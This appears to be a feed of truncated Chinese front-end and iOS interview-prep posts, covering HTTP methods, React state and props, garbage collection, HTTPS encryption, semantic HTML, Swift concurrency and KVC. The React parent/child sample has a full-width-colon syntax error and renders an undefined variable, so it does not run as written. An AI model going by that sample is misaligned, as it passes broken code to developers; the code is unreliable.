PUT	✅ 幂等	❌ 不安全	用于整体更新某个资源（数据完全替换）。
PATCH	❌ 非幂等	❌ 不安全	用于部分更新资源（只改动部分字段）。
DELETE	✅ 幂等	❌ 不安全	删除指定资源。

二、幂等性和安全性解释

幂等（Idempotent）：同一个请求重复执行多次，结果应一样。例如多次 DELETE 相同资源结果相同。
安全（Safe）：不对服务器资源造成副作用。GET 只查询，不修改数据，因此是安全的。

三、其他常见 HTTP 方法

方法	说明
HEAD	类似 GET，但不返回响应体，只返回响应头。常用于检测资源是否存在、获取响应信息。
OPTIONS	用于客户端获取服务器支持哪些方法。也是 CORS 预检请求的一部分。
TRACE	回显服务器收到的请求，主要用于调试。很少使用，可能存在安全隐患。
CONNECT	用于建立隧道（如 HTTPS 的代理通信）。

四、使用场景示例

场景	方法	示例
获取用户列表	GET	`GET /api/users`
创建用户	POST	`POST /api/users`
更新用户信息	PUT / PATCH	`PUT /api/users/1` 或 `PATCH /api/users/1`
删除用户	DELETE	`DELETE /api/users/1`

总结：记住这几点

GET 用于查询（安全、幂等）。
POST 用于新增（不幂等）。
PUT/PATCH 用于修改资源（PUT 是整体替换，PATCH 是部分更新）。
DELETE 用于删除资源（幂等，但不安全）。
OPTIONS/HEAD 用于辅助请求。

常见考点

1. 语义理解

每个方法在 RESTful API 中代表的含义？
PUT 和 PATCH 的区别？
GET 和 POST 区别？是否可以用 POST 替代 GET？

2. 幂等性与安全性

哪些方法是幂等的？（调用多次结果一致）
哪些方法是安全的？（不会对服务器资源产生副作用）

3. 浏览器行为

表单默认提交方式是什么？（GET 或 POST）
GET 请求能携带 body 吗？（规范上不能，但部分浏览器允许）

4. 缓存行为

浏览器对 GET、POST 的缓存行为有什么区别？
为什么 GET 更适合缓存？

5. 跨域相关（CORS）

哪些方法属于“简单请求”？
使用 PUT/PATCH/DELETE 会触发预检请求（OPTIONS），为什么？

6. 请求体与响应体

哪些方法通常不携带请求体？（如 GET、DELETE）
哪些方法可以/需要携带请求体？（如 POST、PUT、PATCH）

7. 对比和实际使用中的陷阱

PUT/POST 混用的场景（如某些系统用 POST 实现更新）
DELETE 是否要有请求体？（规范允许，但不推荐）

可能的延伸考察

RESTful API 设计规范

REST API 中，如何正确使用 GET/POST/PUT/DELETE 等方法？
设计一个增删改查接口，如何对应到不同 HTTP 方法？

状态码与方法配合

DELETE 成功一般返回什么状态码？（如 204 No Content）
POST 创建资源后返回什么？（201 Created）

结合安全问题

POST/PUT 方法可能面临哪些安全风险？如 CSRF？
为什么建议对非幂等方法加 CSRF 防护？

state 与 props

Tue, 17 Dec 2024 00:00:00 +0800

state

基本定义

state是组件内部的状态（数据），不能够直接修改，必须要通过setState来改变值的状态，从而达到更新组件内部数据的作用。

props

基本定义

props是指组件间传递的一种方式，props自然也可以传递state。由于React的数据流是自上而下的，所以是从父组件向子组件进行传递；另外组件内部的this.props属性是只读的不可修改。

代码示例

// 父组件
import stateJj from './stateJj.js'; // 引入子组件
class stateJjFather extends React.Component {
 constructor(props) {
 super(props);
 // 设置state的默认值 且只能在constructor中设置
 this.state = {
 mes: '给子组件的信息',
 obj： {

 },
 arr: []
 }
 }
 fun(e) {

 }
 render() {
 const {mes, obj, arr} = this.state;
 return (
 <div>
 // 不写箭头函数 this指向会发生错误 也可以使用bind的方式绑定this
 <stateJj name={'给子组件的信息'} name1={mes} fun={(e) => this.fun(e)} obj={obj} arr={arr} />
 </div>
 );
 }
}
// 子组件
class stateJj extends React.Component {
 constructor(props) {
 super(props);
 this.props; // 这里面就有父组件传的值
 // 设置 默认state
 this.state = {
 text: props.initialValue || 'placeholder'
 };

 // ES6 类中函数必须手动绑定
 this.handleChange = this.handleChange.bind(this);
 }

 handleChange(event) {
 this.setState({
 text: event.target.value
 });
 }

 render() {
 return (
 <div>
 {mes}
 </div>
 );
 }
}
// 设置props值的类型
stateJj.propTypes = {
 optionalArray: PropTypes.array,
 optionalBool: PropTypes.bool,
 optionalFunc: PropTypes.func,
 optionalNumber: PropTypes.number,
 optionalObject: PropTypes.object,
 optionalString: PropTypes.string,
 optionalSymbol: PropTypes.symbol, // 目前可以声明的所有变量类型
};
// 设置默认的props值
stateJj.defaultProps = {
};

props的特性

只读性

props经常被用作渲染组件和初始化状态，当一个组件被实例化之后，它的props是只读的，不可改变的。如果props在渲染过程中可以被改变，会导致这个组件显示的形态变得不可预测。只有通过父组件重新渲染的方式才可以把新的props传入组件中。

浏览器的垃圾回收机制

Tue, 17 Dec 2024 00:00:00 +0800

浏览器的垃圾回收（Garbage Collection, GC）机制是前端性能优化和内存管理的重要基础。

一、垃圾回收的基本概念

目的：自动回收不再使用的内存，避免内存泄漏，保证浏览器性能稳定。
GC 触发：当浏览器检测到内存不足或特定条件时，启动垃圾回收过程。

二、主要垃圾回收算法

1. 标记清除（Mark-and-Sweep）

浏览器从**根对象（Global、执行上下文中的变量）**开始，标记所有可达对象。
没被标记的对象被认为不可达，即不再被使用，进行回收。
是现代 JS 引擎普遍采用的算法。

2. 引用计数（Reference Counting）

每个对象维护引用计数，引用增加时计数+1，引用消失时计数-1。
计数为 0 的对象立即回收。
缺陷：无法处理循环引用，现代引擎一般不单独使用。

三、垃圾回收的触发时机

内存分配达到一定阈值时自动触发。
主动调用相关接口（如 Chrome DevTools 手动触发）。
页面卸载时进行清理。

四、内存泄漏常见原因

全局变量未释放 全局变量一直被引用，无法回收。
闭包导致的变量无法释放 闭包作用域内变量被外部引用。
定时器未清除 setInterval、setTimeout 未正确清除，导致引用保留。
DOM 节点引用未释放 JS 中持有对已删除 DOM 的引用。
事件监听未移除 绑定事件后，未及时解绑，导致内存无法回收。

五、性能优化建议

避免不必要的全局变量。
使用完定时器及时清除。
解绑不再使用的事件监听。
谨慎使用闭包，避免无用变量持久存在。
小心操作 DOM，及时释放引用。

常见考点

面试中考察点主要包括 GC 的原理、算法、触发时机、内存泄漏原因及避免方法：

浏览器垃圾回收的原理和常见算法？
标记清除与引用计数的区别与优缺点？
什么是内存泄漏？常见的内存泄漏类型？
如何避免内存泄漏？
JS 引擎如何判断对象是否可回收？
浏览器中 GC 触发的时机？
如何用 Chrome DevTools 监测内存泄漏？
事件监听和闭包如何导致内存泄漏？

数据类型转换

Mon, 04 Nov 2024 00:00:00 +0800

前言

JavaScript 是一种非常灵活的编程语言，它允许开发者在代码中进行各种类型的操作和转换。其中，显式和隐式类型转换是 JavaScript 中一个重要而又常见的概念。你是否曾经遇到过 JavaScript 中奇怪的类型转换行为？当你使用加号连接两个不同类型的值时，为什么有时候会得到意料之外的结果？为了更好地理解 JavaScript 中的这些行为，我本篇文章将带大家深入探讨显式和隐式类型转换。

数据类型

首先简单了解下有哪些数据类型。

原始数据类型：String、Number、Boolean、Symbol、Undefined、Null、BigInt（本文不讨论BigInt、Symbol）

引用数据类型: Object（引用类型指向一个对象，不是原始值，指向对象的变量是引用变量）

类型转换

数据类型之间的转换可以分为下面三种：

原始数据类型之间的转换。
原始数据类型转换为对象。
对象转换为原始数据类型。

1.1 原始数据类型转Number

console.log(Number('123')); // 123
console.log(Number(true)); // 1
console.log(Number(undefined)); // NaN
console.log(Number(null)); // 0

我们可以直接调用Number()函数来进行转换。该函数会把undefined转换为NaN，将null转换为0。

而对于字符串，如果字符串中仅仅包含数字，则将转换为数字，若包含非数字字符，则返回NaN。我们也可以使用parseInt()来转换字符串。

console.log(parseInt('123')); // 123
console.log(parseInt('12.3')); // 12
console.log(parseInt('12ds8'));// 12
console.log(parseInt('ads25')); // NaN

parseInt()只解析整数部分，忽略小数部分。parseFloat()可以将字符串转换为浮点数的函数。

1.2 原始数据类型转String

console.log(String());//''
console.log(String(123));//'123'
console.log(String(NaN));//NaN
console.log(String(undefined));//undefined
console.log(String(null));//null
console.log(String(true));//true

我们可以使用String() 构造函数将任何类型的数据转换为字符串类型。它将接收到的参数转换为对应的字符串表示形式。

1.3 原始数据类型转Boolean

console.log(Boolean());// false
console.log(Boolean('Ywis'));// tru
console.log(Boolean(123));// true
console.log(Boolean(NaN));// false
console.log(Boolean(undefined));// false
console.log(Boolean(null));// false
console.log(Boolean(true));// true

调用Boolean()函数进行转换。在将非布尔值类型转换为布尔值类型时，有一个总结：

false：布尔值 false
undefined：未定义的值
null：空值
0：数字 0
-0：负零
NaN：非数字值
''：空字符串

除了以上七个值外，其他值（包括对象、数组、函数等）在转换为布尔值时都会返回 true。这种规则使得 JS 中的大多数值被视为真值（truthy）。

选择器

Tue, 08 Oct 2024 00:00:00 +0800

CSS选取器分类

通配符选择器

*{
 margin:0;
 padding:0;
}

元素（标签）选择器

p{
 color:red;
}

类选择器

.warning{
 color:red;
}

ID选择器

#warning{
 color:red;
}

优先级

!important>行内样式>ID选择器>类、伪类、属性>元素、伪元素>继承>通配符

属性选取器

示例html

<ul>
 <li foo>1</li>
 <li foo="abc">2</li>
 <li foo="abc efj">3</li>
 <li foo="abcefj">4</li>
 <li foo="efjabc">5</li>
 <li foo="ab">6</li>
</ul>

[attribute]

[foo]{
 background-color:red;
}

选择所有带 foo 属性的元素

[attribute=value]

选择 attribute=value 的所有元素。

[foo=abc]{
 background-color:red;
}

[attribute~=value]

选择 attribute 属性包含单词 value 的所有元素。

[foo~=abc]{
 background-color:red;
}

[attribute^=value]

选择其 attribute 属性值以 value 开头的所有元素。类似正则的 ^,以什么开始

任务自动化

Sat, 05 Oct 2024 00:00:00 +0800

在前端开发中，我们经常需要执行各种重复性任务，比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务，但npm本身提供了一个强大的功能：npm scripts。通过npm scripts，我们可以将这些任务脚本化并集中管理，从而提高开发效率。本文将专注于如何使用npm scripts自动化前端开发任务，以及它在项目管理中的作用。

什么是`npm scripts`？

npm scripts是npm提供的一种机制，允许我们在项目的package.json文件中定义一组命令，方便执行各种任务。在package.json文件中，scripts字段可以包含多个脚本，每个脚本都是一个键值对，其中键是脚本的名称，值是实际要执行的命令。例如：

{
 "scripts": {
 "build": "webpack --config webpack.config.js",
 "test": "jest"
 }
}

在上面的示例中，定义了两个脚本：build 和 test。可以通过以下方式在命令行中运行这些脚本：

npm run build
npm run test

npm会执行对应的命令，自动帮我们完成编译和测试任务。

为什么使用`npm scripts`？

在现代前端开发流程中，自动化任务是不可或缺的，而npm scripts的使用有以下几大优势：

减少对全局依赖的需求：在传统项目中，开发者通常需要全局安装各种命令行工具，如webpack、eslint、babel等。而npm scripts可以直接调用项目的本地依赖，无需全局安装。这确保了不同开发环境中的工具版本一致，减少了版本冲突和兼容性问题。
集中管理任务：npm scripts将所有任务定义集中在package.json文件中，项目中的所有开发人员都可以直观地看到可用的任务列表，无需了解每个工具的详细使用方法。只需运行npm run <task>，便可一键完成常见任务。
支持跨平台执行：npm scripts中的命令可以跨平台使用，在Windows、macOS和Linux系统上表现一致，尤其适合团队协作。
便于组合和链式执行：npm允许通过逻辑操作符来组合脚本，实现复杂任务的自动化执行。例如可以通过&&和||来串联多个任务，使得多个步骤一次完成。

如何定义和使用`npm scripts`？

让我们通过具体的示例来看看npm scripts如何自动化前端开发任务。

1. 设置基本的开发任务

假设我们正在开发一个React项目，我们可以在package.json中定义以下基本任务：

{
 "scripts": {
 "start": "webpack serve --mode development",
 "build": "webpack --mode production",
 "test": "jest",
 "lint": "eslint src/**/*.js"
 }
}

这里的脚本分别执行以下任务：

vue指令

Fri, 04 Oct 2024 00:00:00 +0800

1.1 钩子函数

一个指令定义对象可以提供如下几个钩子函数 (均为可选)：

bind 只调用一次，指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。
inserted 被绑定元素插入父节点时调用 (仅保证父节点存在，但不一定已被插入文档中)。
update 所在组件的 VNode 更新时调用，但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变，也可能没有。
componentUpdated 指令所在组件的 VNode 及其子 VNode 全部更新后调用。
unbind 只调用一次，指令与元素解绑时调用。

Vue.directive('gqs',{
 bind() {
 // 当指令绑定到 HTML 元素上时触发.**只调用一次**
 console.log('bind triggerd')
 },
 inserted() {
 // 当绑定了指令的这个HTML元素插入到父元素上时触发(在这里父元素是 `div#app`)**.但不保证,父元素已经插入了 DOM 文档.**
 console.log('inserted triggerd')
 },
 updated() {
 // 所在组件的`VNode`更新时调用.
 console.log('updated triggerd')
 },
 componentUpdated() {
 // 指令所在组件的 VNode 及其子 VNode 全部更新后调用。
 console.log('componentUpdated triggerd')

 },
 unbind() {
 // 只调用一次，指令与元素解绑时调用.
 console.log('unbind triggerd')
 }
 })

1.2 钩子函数参数

指令钩子函数会被传入以下参数：

https

Wed, 02 Oct 2024 00:00:00 +0800

阅读本文之前，咱们先来看几道面试题:

什么是HTTPS？
HTTPS改进HTTP存在的哪些问题？
HTTPS加密原理是什么？
什么是对称加密和非对称加密？
HTTPS传输过程?
什么是数字证书？为什么需要数字证书?
为什么需要数字签名？

…

如果你能准确无误的回答以上问题，你可以不用继续往下面看了，如果不能，通过阅读这篇文章，我相信你肯定能完全掌握HTTPS。好了废话不多说，我们开始。

什么是 HTTPS

当我们在访问一个地址采用HTTPS协议的Web网站时，浏览器的地址栏内会出现一个带锁的标记，就像这样：

我们想要了解一个东西之前，我们得先知道它是什么，那么HTTPS是什么呢？

可能很多同学都能说道说道：“HTTPS就是能够给我们的请求加密的一个东西”。的确，我们都知道，HTTPS可以加密，但是很多同学的理解仅限于此，无法深层次的理解HTTPS。那么到底什么是HTTPS？

HTTPS是在HTTP上建立SSL加密层，并对传输数据进行加密，是HTTP协议的安全版。说得再简单一点，HTTPS就是 HTTP + SSL:

哦明白了，原来HTTPS就是“披着羊皮的狼”啊。HTTP你肯定是理解的，如果不理解，建议先去阅读HTTP相关知识。

那SSL又是什么呢？

我们都知道，HTTP是应用层的协议，HTTP是直接和TCP通信的，当我们更换为HTTPS的时候，它就演变成了，先和SSL通信、然后再由SSL和TCP通信了。知道了这一流程，我们思考一下，加密过程是在哪个过程进行的？结果很显然，加密过程就是在HTTP->SSL这一阶段实现的，所以SSL简单来说，就是实现HTTP的加密过程:

对称加密和非对称加密、散列函数这些又是啥啊？没事后面会讲，这些概念你先记住咯。

HTTPS 有什么用

在讲明HTTPS的作用之前，我们先来看看HTTP有哪些弊端：

和服务器通信时，直接采用明文传输，那么明文内容有可能被挟持监听和篡改

由于HTTP本身不具备加密的功能，所以无法做到对通信内容进行加密。也就是说，我们传输的方式，都是直接以明文的形式进行传输，这些明文数据会经过中间代理服务器、路由器、wifi热点、通信服务运营商等多个物理节点，相当于所有通信的数据都在网络中裸奔，想想都刺激。

那么显而易见，明文传输有什么缺陷呢？明文传输可能会导致数据泄露、数据篡改、流量劫持、钓鱼攻击等一系列危险。假设有这么一个场景，某一天，你的另一个女朋友过生日，于是你用浏览器登录了你的邮箱，想给她发送一封生日祝福的邮件。假如这个邮箱网站使用的是HTTP协议，当你点击发送的时候，你的“祝福内容”（注意：是明文），被某个黑客拦截到，然后将这份“祝福内容”直接转发到你的“现任女朋友”，那后果简直不堪设想。

和服务器通信时，无法验证身份

使用HTTP发起请求时，服务器不会验证请求方的身份，响应请求时，请求方也不会验证服务方的身份。说简单点就是，任何人都可以发起请求，同时，服务器只要接收到请求，不管对方是谁都会返回一个响应。所以任何人都可以伪造虚假服务器欺骗用户，实现“钓鱼欺诈”，用户无法察觉，这也是为啥以前我们的qq号老是被盗的原因。

了解到HTTP这些缺陷之后，我们就自然知道了HTTPS到底有什么用：

保证数据的安全性（加密我们的明文数据）
保证数据的完整性
身份认证

HTTPS如何加密（SSL过程）

通过上面的内容，我们知道了HTTPS能够对数据进行加密，那么它具体是如何加密的呢？

这里我们需要先了解两种加密方式：

对称加密
非对称加密

别觉得它们会有多么难理解，心中坚信，一切计算机网络的知识都是纸老虎。

什么是对称加密

那么什么是对称加密呢？

简单说就是有一个密钥，它可以加密数据，也可以对加密后的数据进行解密。试想有这样一个场景：两个港口需要运送一批货物，发货方发货时，将货物装进集装箱并用一把锁将集装箱锁起来，收货方收到货物时，需要用同样的钥匙（不一定是同一把）将集装箱打开，从而取出货物。

所以简单来说，对称加密就是通信双方都有一把同样的钥匙，用于打开同一个集装箱（解密），从而获取数据的一种方式:

HTTPS用对称加密可行吗

如果通信双方（浏览器和服务器）都各自拥有同样的私钥，在发送方发送数据之前，将数据锁（加密）起来，然后接收方再用私钥解锁（解密），这样就能完美的保证通信的安全。但是关键的问题就在于，在通信之前，服务器或者浏览器如何同时拥有一把同样的私钥呢？我们来想想办法：

1、服务器给浏览器传输私钥

当浏览器发起请求到服务器时，服务器生成一个私钥，然后传输给浏览器，浏览器拿到之后，他们正式通信就开始用这一个私钥进行加密通信，不就行了？那么问题又来了，假设在传输私钥本身的过程中，被中间人挟持了怎么办？中间人拿到私钥之后，就可以解密通信双方的加密内容了，所以这样做肯定是不可行的。

2、在浏览器里面预留服务器提供的私钥。如果我们浏览器一开始就预留了目标网站的私钥，那这样通信的时候，就只有天知地知你知我知了，这不就行了？但是问题的关键是，世界上的网站千千万，浏览器要预留全部HTTPS协议网站的私钥，这显然不可能啊。

很显然，以上两种假设，都不能实现我们想要的加密效果，所以对称加密暂时被我们 pass.

什么是非对称加密

既然对称加密不行，那么我们就需要考虑非对称加密了，那非对称加密又是什么呢？

我们还是来看看还是刚刚上面👆那个运送货物的例子：

两个港口需要运送一批货物，发货方发货时，将货物装进集装箱并用一把锁（我们将其称为公钥）将集装箱锁起来，收货方收到货物时，需要用另外一把钥匙（我们将其称为私钥）将集装箱打开，从而取出货物。

注意这里的关键是：当通信的一方使用公钥时，另外一方只能使用私钥，反之亦然。

简单的来说就是有两把密钥，一把叫做公钥、一把叫私钥。用公钥加密的内容必须用私钥才能解开，同理，私钥加密的内容只有公钥能解开。公钥对于私钥来说是非对称的，所以我们把这种加密方式称为非对称加密：

HTTPS用非对称加密可行吗

我们利用非对称加密来模拟一下浏览器和服务器通信的过程。

浏览器向服务器发起请求，服务器收到请求之后，将公钥传输给浏览器，然后在接下来的通信中，浏览器要向服务器发送数据时，先用公钥将数据加密，然后发送给服务器，服务器收到之后，再用对应的私钥进行解密，这样就保证了浏览器->服务器这条路的数据安全。因为浏览器发送给服务器的数据，只有服务器有私钥能够解密它。那么反过来，服务器->浏览器这条路的通信是否安全呢？

捋一捋刚刚的过程，我们就会发现，一开始我们的服务器将公钥传输给浏览器这一步骤，显然是在明文形式下进行传输的。假设这一过程，我们的公钥被中间人挟持了，想想会发生什么情况？显然有了这个公钥，中间人就能解密由服务器利用私钥加密的数据了，虽然他不能解密浏览器端的数据，但是此时他可以伪造请求，服务器收到请求之后，利用私钥解密请求数据，之后响应请求，并用私钥对响应数据加密，接着返回给请求方，由于此时这个中间人是有对应的公钥的，所以他就能直接解密服务器返回的数据。

默认参数

Wed, 02 Oct 2024 00:00:00 +0800

一、参数传递

代码语言：javascript

function foo(a, b) {
 console.log([a, b]);
}

foo(1, 2); // 输出 [1, 2]

这个例子中，a 和 b 属于函数中的局部变量，只能在函数中访问。调用函数时，传递的数据会根据位置来匹配对应，分别赋值给 a 和 b。

创建函数时，function 函数名后面括号中设定的参数被称为形参；调用函数时，函数名后面括号中传入的参数被称为实参。上面例子中，a 和 b 是形参，传入的 1 和 2 是实参。

因为形参是已声明的变量，所以不能再用 let 和 const 重复声明。

代码语言：javascript

function foo(a, b) {
 let a = 1; // 报错，a 已声明
 const b = 1; // 报错，b 已声明
}

JavaScript 中所有函数传递都是按值传递的，不会按引用传递。所谓的值，就是指直接保存在变量上的值，如果把对象作为参数传递，那么这个值就是这个对象的引用，而不是对象本身。这里实际上是一个隐式的赋值过程，所以给函数传递参数时，相当于从一个变量赋值到另一个变量。

原始值：

代码语言：javascript

function add(num) {
 return num + 1;
}

let count = 5;
let result = add(count); // 此处参数传递的过程可以看作是 num = count

console.log(count); // 5
console.log(result); // 6

引用值：

语义化

Tue, 24 Sep 2024 00:00:00 +0800

HTML 语义化是什么？

HTML 语义化是指使用 HTML 标签来正确地表示文档的结构和内容的方式。通过使用正确的标签和元素，可以使网页的结构更加清晰、易于理解，并且对搜索引擎和辅助技术（如屏幕阅读器）更友好。
CSS 命名的语义化指的是在给 CSS 类名、选择器和 ID 命名时，使用具有语义的名称来描述元素的用途和功能。这样的命名方式可以使代码更具可读性、可维护性和可拓展性。

为什么需要语义化？

有利于搜索引擎优化（SEO）：搜索引擎依赖于网页的结构和语义来识别和理解网页内容。使用语义化的 HTML 标签可以提高网页在搜索引擎结果的排名，从而提高页面的 SEO（搜索引擎优化）。
可读性和可维护性：使用语义化的代码可以增强代码的可读性和可维护性，有利于开发人员理解和维护代码。同时，遵循 W3C 标准的团队可以遵循相同的标准，减少差异化，提高团队的效率和协调能力。
提高可访问性：语义化可以提高网页的可访问性，让页面更容易被搜索引擎、辅助技术（如屏幕阅读器）解析和理解，让更多的人能访问和理解网页。
可间接提升网页的性能：在传统的 HTML 代码中，有时候会存在一些重复的标签和属性，导致代码冗余。使用语义化的 HTML 代码，可以减少这种冗余，让代码更加简洁和高效。
面向未来的 HTML ，浏览器在未来可能提供更丰富的支持。

一些常用的语义化标签及使用场景

布局相关的语义化标签：

<header> 标签：用于定义文档或一个节的头部区域。通常包含网页的标题、导航栏、logo 或其他相关信息；作用是为页面提供附加的信息或功能，以帮助用户更好地理解或导航网页内容。适用于表示网页或一个节的顶部区域。
<aside> 标签：用于定义与页面内容相关但可以被视为独立于主要内容的部分。它通常用于侧边栏、广告、导航链接、附加信息或其他类似的内容。
<section> 标签：用于表页面中的一个独立部分，具有明确的主题或目的。例如文章、评论、产品列表、产品规格及描述等。一个页面可以包含多个不同主题的 section ；并且这个标签可以包含标题、段落、列表、表格等其他HTML元素。
<nav> 标签：用于表示导航菜单，包括主导航、子导航、面包屑导航等。这个标签通常包含链接（<a> 标签）来指向其他页面或网站的部分。
<footer> 标签：用于表示文档的页脚，通常包含版权信息、联系方式、法律声明等内容。它通常出现在页面的底部，并且只应该出现一次。
<main> 标签：用于表示页面中的主要内容区域，是所有主要内容（包括头部、尾部和侧边栏）的容器。每个<main>元素都应该包含独特的内容，这部分内容在页面上是唯一的，且对整个页面来说是重要的。<main>标签不能包含在页面其它区块元素中，通常是<body>的子标签，或者是全局<div>的子标签。
<address> 标签：用于表示联系信息，通常包含地址、电子邮件地址、电话号码等。这个标签通常用于定义页面或其部分内容的作者或拥有者的联系信息。

举个栗子🌰：

<body>
 <!-- 页面的头部 -->
 <header>
 <h1>欢迎来到我的网站</h1>
 <p>这是网站的标题，用于展示网站的核心信息。</p>
 </header>
 <!-- 导航菜单 -->
 <nav>
 <ul>
 <li><a href="#">首页</a></li>
 <li><a href="#">关于我们</a></li>
 <li><a href="#">产品</a></li>
 <li><a href="#">联系我们</a></li>
 </ul>
 </nav>
 <!-- 主要内容区域 -->
 <main>
 <!-- 第一个内容区块 -->
 <section></section>
 <!-- 第二个内容区块 -->
 <section>
 <aside></aside>
 <aside></aside>
 </section>
 </main>
 <!-- 联系信息 -->
 <address>
 <p><strong>联系信息：</strong></p>
 <p>电话：(123) 456-7890</p>
 <p><a href="mailto:example@email.com">example@email.com</a></p>
 </address>
 <!-- 页面的底部 -->
 <footer>
 &copy; 2023 My Website. All rights reserved. | 设计：北冥有锅
 </footer>
</body>

文本相关语义化标签：

figure 和 figcaption、del 和 ins

<figure> 标签：用于处理带有某些嵌入式内容的一组图，照片，代码清单等。表示独立的内容单元，它可以包含任何与主内容相关的附加内容，包括但不限于：文本内容、媒体文件、交互式内容等。使用<figure>标签时应当注意内容的独立性和相关性，确保它与主内容是相关的，并且不依赖于主内容而存在。
<figcaption> 标签：<figcaption>标签是<figure>元素的一部分，并且它是可选的。它应该包含在<figure>标签内部，作为其第一个或最后一个子元素。一个<figure>标签中只能有一个<figcaption>标签。
<del> & <ins> 标签：
<del> 用作已删除内容的标签。浏览器通常通过在已删除的文本上打一行删除线来呈现它。
<ins> 用于表示HTML文档中新添加的文本。它通常在文本上带有下划线。
<ins> 与<del> 一起使用时更有用，他们都可以使用CSS属性进行更改。
<ins> 与<del> 的特定属性：
cite:URL => 它指定资源的URL，该URL解释更改或删除文本的原因。
datetime:YYYYMMDD || HH:MM:SS => 它指定更改或删除文本的日期和时间。

举个栗子🌰：

Swift 面试：并发、async/await 与 Actor 源码解析

Tue, 16 Jun 2026 09:06:27 +0800

Swift 面试：并发、async/await 与 Actor 源码解析

Swift Concurrency 面试经常从 async/await 问起，但真正的重点是：Task 是结构化并发的执行单元，await 是显式暂停点，Actor 通过隔离和串行执行器保护状态，Sendable 则约束跨并发边界传递的数据。

这篇文章按面试题展开，把结论落到 Swift 标准库和编译器源码里的 Actor、GlobalActor、MainActor、AsyncLet、TaskGroup、Sendable 和 ActorIsolation。

面试高频问题

async/await 和 GCD 的关系是什么？
await 到底表示线程阻塞还是任务暂停？
Task、async let、TaskGroup 有什么区别？
Actor 如何保证数据隔离？
MainActor 是什么，为什么 UI 更新要回到 MainActor？
GlobalActor 和普通 Actor 有什么区别？
Sendable 解决什么问题？
Task.detached 为什么要慎用？
Actor 之间调用为什么需要 await？
Swift Concurrency 是编译器机制还是运行时机制？

30 秒回答版

Swift Concurrency 是编译器、标准库和运行时共同完成的并发模型。

async/await 不是对 GCD 的简单语法糖。await 表示当前异步任务可能在这里暂停，把执行权交还给调度器；等异步结果可用时，再从 continuation 恢复。它不应该理解成“阻塞当前线程等待”。

Actor 是一种受隔离保护的引用类型。Actor 内部可变状态只能在 actor 隔离域内访问；跨 actor 访问必须异步，编译器会插入隔离检查。运行时通过 executor 保证同一 actor 的隔离状态不会被多个任务同时进入。

FoundationModels

Sat, 02 May 2026 22:32:27 +0800

2025年WWDC上，Apple把Apple Intelligence背后的那个"设备端基础模型"第一次对开发者开放——这就是FoundationModels框架。过去要在App里接入LLM，基本只有两条路：调OpenAI/Claude这类云端API，或者自己在端上集成llama.cpp、MLC、Core ML等推理框架。前者有隐私和成本问题，后者有工程门槛和包体积问题。FoundationModels试图提供第三条路：一个系统级的、免费的、离线可用的、原生Swift的LLM API。

本文从框架定位开始，一路讲到Guided Generation、Tool Calling、Streaming、Adapter微调等细节，目标是让你在读完后能直接上手用它写出一个生产可用的功能。

一、FoundationModels是什么

1.1 一句话定义

FoundationModels是iOS 26 / macOS 26及之后的系统框架，提供对设备端Apple Intelligence语言模型的编程访问能力。模型本身约3B参数，经过4-bit量化，常驻系统，不计入App包体积，所有推理在设备上完成。

1.2 能做什么 / 不能做什么

能做	不能做
文本生成、摘要、分类、抽取、改写、翻译	世界知识问答（模型太小，不适合当"百科")
结构化输出（生成指定Swift类型）	图像生成 / 视频生成
工具调用（Function Calling）	嵌入向量生成（Embedding）
短对话、小规模推理	长上下文的复杂推理（窗口有限）
完全离线、无需联网	替代GPT-4这类前沿大模型

定位非常清楚：它是一个"端侧小而美"的模型，负责那些没必要上云、对延迟/隐私/成本敏感的任务。

1.3 为什么值得iOS开发者关注

零成本：不像调OpenAI API，每token都花钱。
零延迟网络层：首token延迟可以做到100ms级。
隐私合规：输入不出设备，符合医疗、金融、教育场景的合规要求。
离线可用：地铁、飞机、隧道里也能跑。
原生Swift DSL：宏驱动的@Generable、Tool协议，跟SwiftUI一样"声明式"。
与系统深度集成：可直接访问Apple Intelligence上下文（比如屏幕识别、个人数据等，受权限约束）。

二、整体架构

graph TB
subgraph APP ["应用层"]
UI["SwiftUI / UIKit"]
VM["ViewModel"]
end
subgraph FM ["FoundationModels Framework"]
SLM["SystemLanguageModel
模型句柄 + 可用性"]
SESSION["LanguageModelSession
会话对象 / 上下文"]
GEN["Generable宏
结构化输出"]
TOOL["Tool协议
工具调用"]
STREAM["ResponseStream
流式输出"]
GUARD["Guardrails
安全过滤"]
end
subgraph SYSTEM ["系统层"]
ANE["Apple Neural Engine"]
GPU["GPU"]
MODEL["On-device Foundation Model
≈3B params, 4-bit quant"]
ADAPTER["LoRA Adapters"]
end
UI --> VM
VM --> SESSION
SESSION --> SLM
SESSION --> GEN
SESSION --> TOOL
SESSION --> STREAM
SESSION --> GUARD
SLM --> MODEL
MODEL --> ANE
MODEL --> GPU
ADAPTER --> MODEL

几个关键抽象：

KVC底层原理

Sat, 02 May 2026 22:32:27 +0800

基础概念

KVC（Key-Value Coding，键值编码）是 Apple 提供的一种通过字符串 key 间接访问对象属性的机制，定义在 NSKeyValueCoding 协议中，NSObject 默认遵循该协议。

// 直接访问
person.name = @"Tom";
NSString *name = person.name;

// KVC 访问
[person setValue:@"Tom" forKey:@"name"];
NSString *name = [person valueForKey:@"name"];

KVC 的核心价值在于：通过字符串动态访问属性，不需要在编译期知道属性名。这使得字典转模型、序列化/反序列化、Interface Builder 的 Runtime Attributes 等场景成为可能。

setValue:forKey: 的底层流程

当调用 [obj setValue:value forKey:@"name"] 时，Runtime 按照以下顺序查找：

flowchart TD
A["setValue:forKey:@'name'"] --> B{"查找 setter 方法"}
B -->|"找到"| C["调用 setter"]
B -->|"未找到"| D{"accessInstanceVariablesDirectly
返回 YES?"}
D -->|"YES"| E{"按顺序查找实例变量
_name → _isName → name → isName"}
D -->|"NO"| F["调用 setValue:forUndefinedKey:
默认抛出 NSUndefinedKeyException"]
E -->|"找到"| G["直接设置实例变量值"]
E -->|"未找到"| F

第一步：查找 setter 方法

Runtime 按以下顺序查找 setter 方法：

WebView离线包

Sat, 02 May 2026 22:32:27 +0800

背景

Hybrid 开发模式下，WebView 加载 H5 页面的体验一直是痛点。一个典型的 H5 页面加载流程涉及：初始化 WebView -> DNS 解析 -> 建立连接 -> 下载 HTML -> 解析 HTML -> 下载 CSS/JS/图片 -> 渲染页面。在弱网或首次加载场景下，白屏时间常常达到 2~5 秒，远不如 Native 体验。

